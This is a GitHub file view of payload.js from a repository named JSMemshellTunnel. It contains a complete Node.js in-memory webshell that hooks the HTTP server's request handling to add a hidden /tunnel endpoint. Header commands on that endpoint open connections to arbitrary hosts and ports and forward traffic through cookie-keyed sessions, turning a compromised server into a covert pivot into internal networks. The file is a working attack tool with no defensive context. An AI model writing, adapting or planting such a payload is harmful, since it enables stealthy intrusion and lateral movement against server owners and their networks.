JSMemshellTunnel/payload.js at main · X-Cotang/JSMemshellTunnel · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
(function () {
    (typeof require === 'function' ?
        Promise.resolve({ http: require('http'), net: require('net'), url: require('url') }) :
        import('node:http').then(http => import('node:net').then(net => import('node:url').then(url => ({ http, net, url }))))
    ).then(({ http, net, url }) => {
        const o = http.Server.prototype.emit;
        const sessions = {};
        const dataBuff = {};

        function getCookie(headers) {
            const c = headers['cookie'];
            if (!c) return null;
            const m = c.match(/SESSIONID=([^;]+)/);
            return m ? m[1] : null;
        }

        http.Server.prototype.emit = function (e) {
            if (e === 'request') {
                const req = arguments[1];
                const res = arguments[2];
                const pathname = (url.parse(req.url).pathname || '');

                if (pathname === '/tunnel') {
                    const cmd = req.headers['x-cmd'];
                    if (!cmd) {
                        res.end('GG say hello worlds');
                        return true;
                    }

                    if (cmd === 'CONNECT') {
                        const HOST = req.headers['x-target'];
                        const PORT = parseInt(req.headers['x-port'], 10);
                        if (!HOST || !PORT) {
                            res.writeHead(200, { 'X-STATUS': 'FAIL', 'X-ERROR': 'MISSING TARGET/PORT' });
                            res.end();
                            return true;
                        }

                        const key = 'Ur' + Math.random();
                        const sock = net.createConnection(PORT, HOST);

                        sock.on('connect', () => {
                            sessions[key] = sock;
                            sock.on('data', d => dataBuff[key] = d);
                            sock.on('close', () => { delete sessions[key]; delete dataBuff[key]; });
                            sock.on('error', () => { delete sessions[key]; delete dataBuff[key]; });
                            res.writeHead(200, { 'Set-Cookie': 'SESSIONID=' + key + '; Path=/; HttpOnly', 'X-STATUS': 'OK' });
                            res.end();
                        });

                        sock.on('error', (err) => {
                            res.writeHead(200, { 'X-STATUS': 'FAIL', 'X-ERROR': err.message });
                            res.end();
                        });
                        return true;
                    }

                    let body = [];
                    req.on('data', chunk => body.push(chunk));
                    req.on('end', () => {
                        const fullBody = Buffer.concat(body);

                        if (cmd === 'READ') {
                            const key = getCookie(req.headers);
                            if (!key || !sessions[key]) {
                                res.writeHead(200, { 'X-STATUS': 'FAIL', 'X-ERROR': 'NO SESSION' });
                                res.end();
                                return;
                            }
                            const d = dataBuff[key] || Buffer.alloc(0);
                            dataBuff[key] = null;
                            res.writeHead(200, { 'X-STATUS': 'OK' });
                            res.end(d);
                            return;
                        }

                        if (cmd === 'FORWARD') {
                            const key = getCookie(req.headers);
                            if (!key || !sessions[key]) {
                                res.writeHead(200, { 'X-STATUS': 'FAIL', 'X-ERROR': 'NO SESSION' });
                                res.end();
                                return;
                            }
                            if (fullBody.length > 0) {
                                sessions[key].write(fullBody);
                            }
                            res.writeHead(200, { 'X-STATUS': 'OK' });
                            res.end();
                            return;
                        }

                        if (cmd === 'DISCONNECT') {
                            const key = getCookie(req.headers);
                            if (key && sessions[key]) {
                                sessions[key].destroy();
                                delete sessions[key];
                                delete dataBuff[key];
                            }
                            res.writeHead(200, { 'Set-Cookie': 'SESSIONID=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/', 'X-STATUS': 'OK' });
                            res.end();
                            return;
                        }

                        res.end('GG say hello worlds');
                    });

                    req.on('error', () => {
                        res.writeHead(500);
                        res.end();
                    });

                    return true;
                }
            }
            return o.apply(this, arguments);
        };
    });
})();